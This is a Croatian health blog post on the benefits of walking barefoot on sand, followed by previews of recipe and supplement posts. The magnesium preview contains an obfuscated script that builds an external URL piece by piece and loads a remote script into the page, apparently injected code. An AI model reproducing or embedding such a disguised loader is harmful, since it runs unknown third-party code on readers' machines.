ŠTO SE DOGODI U TIJELU KADA BOSONOGI HODATE PO PJEŠČANOJ PLAŽI?




Što se dogodi u tijelu kada bosonogi hodate po pješčanoj plaži?



Ljeto je idealno vrijeme da barem nakratko zaboravimo na obuću i prepustimo stopala prirodnim podlogama. Hodanje bosim nogama po travi, zemlji ili pijesku nije samo ugodan osjećaj, već i navika koja može imati niz pozitivnih učinaka na zdravlje.




Jačaju mišići stopala i gležnjeva

Pijesak je nestabilna podloga pa stopala pri svakom koraku moraju uložiti dodatni napor kako bi održala ravnotežu. Aktiviraju se mali mišići stopala i gležnjeva koji često ostaju "uspavani" tijekom hodanja u obući, što dugoročno može pridonijeti većoj stabilnosti i snažnijim stopalima.



Poboljšava se ravnoteža i koordinacija

Hodanje po pijesku zahtijeva stalne sitne prilagodbe tijela. Mozak i mišići neprestano surađuju kako bi održali stabilnost, a upravo zato ova jednostavna aktivnost može pomoći u poboljšanju ravnoteže, koordinacije i osjećaja za položaj tijela u prostoru.



Aktiviraju se mišići nogu i stražnjice

Za razliku od hodanja po asfaltu ili pločniku, svaki korak u pijesku traži nešto više snage. Zbog toga intenzivnije rade listovi, bedra i mišići stražnjice, pa šetnja plažom može biti odličan oblik lagane tjelovježbe.



Smanjuje se opterećenje na zglobove

Iako hodanje po pijesku zahtijeva više energije, njegova mekana površina ublažava udarce pri svakom koraku. To znači da su koljena, kukovi i gležnjevi manje opterećeni nego pri hodanju po tvrdim podlogama, zbog čega mnogima upravo šetnja plažom djeluje ugodnije.



Potiče se cirkulacija

Kretanje bosim stopalima po toplom pijesku potiče rad mišića i cirkulaciju krvi u stopalima i nogama. Dobra cirkulacija važna je za osjećaj lakoće u nogama, osobito tijekom ljetnih mjeseci kada mnogi osjećaju težinu i oticanje.



Stopala dobivaju prirodnu masažu

Zrnca pijeska nježno stimuliraju brojne živčane završetke na tabanima. Taj prirodni učinak masaže mnogima pruža osjećaj opuštenosti, a ujedno može pomoći u smanjenju napetosti u stopalima nakon dugog dana.



Pomaže u smanjenju stresa

Boravak u prirodi već sam po sebi pozitivno djeluje na raspoloženje, a bosonogo hodanje dodatno pojačava osjećaj opuštenosti. Ritmični koraci, zvuk valova i dodir pijeska mogu pomoći u smanjenju razine stresa i potaknuti osjećaj smirenosti.



Nježno uklanja odumrle stanice kože

Pijesak djeluje poput prirodnog pilinga. Tijekom hodanja nježno uklanja odumrle stanice kože sa stopala, pa ona nakon šetnje mogu biti glađa i mekša, osobito ako ih nakon toga njegujete hidratantnom kremom.



Tijelo troši više energije

Zbog otpora koji pruža pijesak, hodanje plažom zahtijeva više truda nego hodanje po ravnoj podlozi. Istraživanja pokazuju da se pri hodanju po pijesku može potrošiti znatno više energije, što ovu aktivnost čini odličnim izborom za sve koji žele spojiti rekreaciju i uživanje na moru.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više